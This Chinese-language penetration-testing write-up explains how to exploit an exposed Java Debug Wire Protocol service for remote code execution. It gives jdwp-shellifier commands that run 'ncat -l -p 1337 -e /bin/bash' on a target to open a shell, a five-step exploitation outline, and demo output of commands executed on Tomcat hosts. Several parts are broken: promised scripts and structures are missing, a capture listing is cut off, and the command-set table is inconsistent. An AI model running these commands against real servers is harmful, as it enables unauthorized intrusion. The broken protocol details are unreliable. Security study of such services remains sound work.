什么是JDWP协议?
JDWP(Java Debug Wire Protocol,Java调试线协议)是一个为Java调试而设计的通讯交互协议,它定义了调试器(Debugger)和被调试JVM(Debuggee)进程之间的交互数据的传递格式,它详细完整地定义了请求命令、回应数据和错误代码,保证了调试端和被调试端之间通信通畅。
利用方式
在渗透测试的过程中,如果遇到目标Java应用开启了JDWP服务且没有配置访问控制的情况下,就可以利用JDWP实现远程代码执行。
漏洞利用脚本
https://github.com/IOActive/jdwp-shellifier
./jdwp-shellifier.py -t x.x.x.x -p 8000 #获取内部数据
./jdwp-shellifier.py -t x.x.x.x -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t x.x.x.x -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.
实战案例
这里使用--break-on 'java.lang.String.indexOf'
使漏洞利用更加稳定。
Debuggee 由一个运行我们的目标应用程序的多线程 JVM 组成。为了能够远程调试,JVM 实例必须使用在命令行上传递的选项 -Xdebug 以及选项 -Xrunjdwp(或 -agentlib)显式启动。例如,启动启用了远程调试的 Tomcat 服务器如下所示:
如体系结构图中所示,Java Debug Wire Protocol 是 Debugger 和 JVM 实例之间的中心链接。关于协议的观察包括:
- 它是一种基于数据包的网络二进制协议。
- 它主要是同步的。调试器通过 JDWP 发送命令并期望收到回复。但是,某些命令(如事件)不需要同步响应。当满足特定条件时,他们将发送回复。例如,断点是一个事件。
- 它不使用身份验证。
- 它不使用加密。
当此类服务暴露于恶意网络或面向 Internet 时,事情可能会出错。
JDWP 规定必须通过简单的握手来启动通信。TCP 连接成功后,调试器(客户端)发送 14 个字符的 ASCII 字符串“JDWP-Handshake”。调试对象(服务器)通过发送完全相同的字符串来响应此消息。这种简单的握手提供了一种轻松发现 Internet 上实时 JDWP 服务的方法。只需发送一个简单的探测并检查特定响应。
这里用Scapy对其的通信进行一个抓包
>>> sniff(filter=”tcp port 8000 and host 192.168.160.128″, count=8)
<Sniffed: TCP:9 UDP:1 ICMP:0 Other:0>
>>> tcp.hexraw()
0000 15:49:30.397814 Ether / IP / TCP 192.168.160.128:59079 > 192.168.2.9:8000 S
0001 15:49:30.402445 Ether / IP / TCP 192.168.160.128:8000 > 192.168.160.128:59079 SA
0002 15:49:30.402508 Ether / IP / TCP 192.168.160.128:59079 > 192.168.2.9:8000 A
0003 15:49:30.402601 Ether / IP / TCP 192.168.160.128:59079 > 192.168.2.9:8000 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0004 15:49:30.407553 Ether / IP / TCP 192.168.2.9:8000 > 192.168.160.128:59079 A
0005 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.160.128:59079 A
0006 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.160.128:59079 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0007 15:
通过上面的结果,对于这种简单的握手,我们只需编写一个脚本,发送一个简单的探测并检查特定的响应即可,如下:
JDWP 定义了调试器和被调试器之间通信所涉及的消息[10]。消息遵循一个简单的结构,定义如下
Length 和 Id 字段是不言自明的。Flag字段仅用于区分请求包和回复包,值为0x80表示回复包。命令集字段定义命令的类别,如下表所示。\
「命令集」 | 命令 |
---|---|
0x40 | JVM 采取的行动(例如设置断点) |
0x40–0x7F | 向调试器提供事件信息(例如,JVM 已达到断点并正在等待进一步的操作) |
0x80 | 第三方扩展 |
我们想要执行任意代码,以下命令对我们的目的来说必要的。
- VirtualMachine/IDSizes 定义 JVM 处理的数据结构的大小。这是 nmap 脚本 jdwp-exec.nse不起作用的原因之一,因为该脚本使用硬编码大小。
- ClassType/InvokeMethod 允许您调用静态函数。
- ObjectReference/InvokeMethod 允许您从 JVM 中的实例化对象调用函数。
- StackFrame/(Get|Set)Values 提供从线程堆栈推送/弹出功能。
- Event/Composite 强制 JVM 对此命令声明的特定行为做出反应。此命令是调试目的的主要关键,因为它允许设置断点、在运行时单步执行线程以及在以与 GDB 或 WinDBG 完全相同的方式访问/修改值时收到通知。
JDWP 不仅允许您访问和调用已驻留在内存中的对象,还允许您创建或覆盖数据。
- VirtualMachine/CreateString 允许您将字符串转换为存在于 JVM 运行时中的 java.lang.String。
- VirtualMachine/RedefineClasses 允许您安装新的类定义。
综上所述,JDWP 提供了内置命令来将任意类加载到 JVM 内存中并调用已经存在的和或新加载的字节码。
下面将讲解 Python 中创建漏洞利用代码的步骤,其行为类似于 JDI 前端的部分实现,以便尽可能可靠。
当面对一个开放的 JDWP 服务时,任意命令的执行恰好是五步之遥。
以下是它的运行方式:
- 获取 Java 运行时引用 JVM 通过对象的引用来操作对象。为此,我们的 exploit 必须首先获取对 java.lang.Runtime 类的引用。从这个类中,我们需要引用 getRuntime() 方法。这是通过获取所有类(AllClasses 数据包)和我们正在寻找的类(ReferenceType/Methods 数据包)中的所有方法来执行的。
- 设置断点等待通知(异步调用)这是我们exploit的关键。要调用任意代码,我们需要处于运行中的线程上下文中。为此,一种技巧是在已知在运行时调用的方法上设置断点。如前所述,JDI 中的断点是一个异步事件,其类型设置为 BREAKPOINT(0x02)。被击中时,
因此最好将它设置在经常调用的方法上,例如 java.net.ServerSocket.accept(),每次服务器接收到新的网络连接时很可能调用它。但是,必须记住,它可以是运行时存在的任何方法。
- 在Runtime中分配一个Java String对象来执行payload 我们将在JVM运行时执行代码,所以我们操作的所有数据(比如string)都必须存在于JVM运行时(即拥有运行时引用)。通过发送 CreateString 命令可以很容易地完成此操作。
- 从断点上下文中获取运行时对象 此时,我们几乎拥有成功、可靠利用所需的所有元素。我们缺少的是运行时对象引用。获取它很容易,我们可以通过发送 ClassType/InvokeMethod 数据包并提供运行时类和线程引用,在 JVM 运行时简单地执行 java.lang.Runtime.getRuntime() 静态方法[8]。
- 在运行时实例中查找和调用 exec() 方法最后一步只是在上一步获得的运行时静态对象中查找 exec() 方法,并使用我们的 String 对象调用它(通过发送 ObjectReference/InvokeMethod 数据包)在第三步中创建
演示
启用 JPDA“调试模式”的情况下运行的 Tomcat:
root@pwnbox:~/apache-tomcat-6.0.39# ./bin/catalina.sh jpda start
我们在没有命令执行的情况下执行我们的脚本,以简单地获取一般系统信息:
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.160.128
[+] Targeting ‘192.168.160.128:8000’
[+] Reading settings for ‘Java HotSpot(TM) 64-Bit Server VM – 1.6.0_65’
[+] Found Runtime class: id=466[+] Found Runtime.getRuntime(): id=7facdb6a8038
[+] Created break event id=2
[+] Waiting for an event on ‘java.net.ServerSocket.accept’## Here we wait for breakpoint to be triggered by a new connection ##
[+] Received matching event from thread 0x8b0
[+] Found Operating System ‘Mac OS X’
[+] Found User name ‘pentestosx’
[+] Found ClassPath ‘/Users/pentestosx/Desktop/apache-tomcat-6.0.39/bin/bootstrap.jar’
[+] Found User home directory ‘/Users/pentestosx’
[!] Command successfully executed
相同的命令行,但针对 Windows 系统并采用完全不同的方法进行中断:
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.160.128 –break-on ‘java.lang.String.indexOf’
[+] Targeting ‘192.168.160.128:8000’
[+] Reading settings for ‘Java HotSpot(TM) Client VM – 1.7.0_51’
[+] Found Runtime class: id=593
[+] Found Runtime.getRuntime(): id=17977a9c
[+] Created break event id=2
[+] Waiting for an event on ‘java.lang.String.indexOf’
[+] Received matching event from thread 0x8f5
[+] Found Operating System ‘Windows 7’
[+] Found User name ‘hugsy’
[+] Found ClassPath ‘C:UsershugsyDesktopapache-tomcat-6.0.39binbootstrap.jar’
[+] Found User home directory ‘C:Usershugsy’
[!] Command successfully executed